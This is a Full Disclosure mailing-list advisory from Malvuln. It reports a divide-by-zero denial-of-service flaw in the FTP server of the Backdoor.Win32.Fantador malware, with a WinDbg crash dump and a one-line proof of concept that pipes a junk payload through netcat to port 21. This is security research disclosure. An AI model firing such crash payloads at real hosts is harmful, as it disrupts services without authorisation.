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Date: Fri, 31 Dec 2021 03:30:11 -0500
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Fantador / Divide by Zero DoS

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/a1d045151c809535a308311931588fd0.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Fantador
Vulnerability: Divide by Zero DoS
Description: The malware allows you to configure an port for the FTP
server, so you would need to know the port up front. Third-party attackers
can send a junk payload triggering a Divide by Zero DoS condition and crash
the server.
Type: PE32
MD5: a1d045151c809535a308311931588fd0
Vuln ID: MVID-2021-0438
Disclosure: 12/31/2021

Memory Dump:
(e80.6d0): Integer divide-by-zero - code c0000094 (first/second chance not
available)
eax=00000000 ebx=00000000 ecx=00000000 edx=00000000 esi=00000003
edi=00000003
eip=773ced3c esp=0019f1e0 ebp=0019f370 iopl=0         nv up ei pl nz ac po
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00000212
ntdll!ZwWaitForMultipleObjects+0xc:
773ced3c c21400          ret     14h
0:000> .ecxr
eax=000001f4 ebx=00000000 ecx=00000000 edx=00000000 esi=041c18c8
edi=00000000
eip=0040ece7 esp=0019fb64 ebp=00000000 iopl=0         nv up ei pl zr na pe
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00010246
*** WARNING: Unable to verify checksum for
Backdoor.Win32.Fantador.a1d045151c809535a308311931588fd0.exe
*** ERROR: Module load completed but symbols could not be loaded for
Backdoor.Win32.Fantador.a1d045151c809535a308311931588fd0.exe
Backdoor_Win32_Fantador_a1d045151c809535a308311931588fd0+0xece7:
0040ece7 f7f1            div     eax,ecx
0:000> !analyze -v
*******************************************************************************
*
  *
*                        Exception Analysis
  *
*
  *
*******************************************************************************


FAULTING_IP:
Backdoor_Win32_Fantador_a1d045151c809535a308311931588fd0+ece7
0040ece7 f7f1            div     eax,ecx

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 0040ece7
(Backdoor_Win32_Fantador_a1d045151c809535a308311931588fd0+0x0000ece7)
   ExceptionCode: c0000094 (Integer divide-by-zero)
  ExceptionFlags: 00000000
NumberParameters: 0

PROCESS_NAME:  Backdoor.Win32.Fantador.a1d045151c809535a308311931588fd0.exe

ERROR_CODE: (NTSTATUS) 0xc0000094 - {EXCEPTION}  Integer division by zero.

EXCEPTION_CODE: (NTSTATUS) 0xc0000094 - {EXCEPTION}  Integer division by
zero.

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

FAULTING_THREAD:  000006d0

DEFAULT_BUCKET_ID:  STATUS_INTEGER_DIVIDE_BY_ZERO

PRIMARY_PROBLEM_CLASS:  STATUS_INTEGER_DIVIDE_BY_ZERO

BUGCHECK_STR:  APPLICATION_FAULT_STATUS_INTEGER_DIVIDE_BY_ZERO

LAST_CONTROL_TRANSFER:  from 00000000 to 0040ece7

STACK_TEXT:
00000000 00000000 00000000 00000000 00000000
Backdoor_Win32_Fantador_a1d045151c809535a308311931588fd0+0xece7


FOLLOWUP_IP:
Backdoor_Win32_Fantador_a1d045151c809535a308311931588fd0+ece7
0040ece7 f7f1            div     eax,ecx

SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  Backdoor_Win32_Fantador_a1d045151c809535a308311931588fd0+ece7

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: Backdoor_Win32_Fantador_a1d045151c809535a308311931588fd0

IMAGE_NAME:  Backdoor.Win32.Fantador.a1d045151c809535a308311931588fd0.exe

DEBUG_FLR_IMAGE_TIMESTAMP:  3fe17f27

STACK_COMMAND:  dt ntdll!LdrpLastDllInitializer BaseDllName ; dt
ntdll!LdrpFailureData ; ~0s; .ecxr ; kb

FAILURE_BUCKET_ID:
 STATUS_INTEGER_DIVIDE_BY_ZERO_c0000094_Backdoor.Win32.Fantador.a1d045151c809535a308311931588fd0.exe!Unknown

BUCKET_ID:
 APPLICATION_FAULT_STATUS_INTEGER_DIVIDE_BY_ZERO_Backdoor_Win32_Fantador_a1d045151c809535a308311931588fd0+ece7


Exploit/PoC:
python -c "print('A'*2839)" | nc64.exe x.x.x.x 21

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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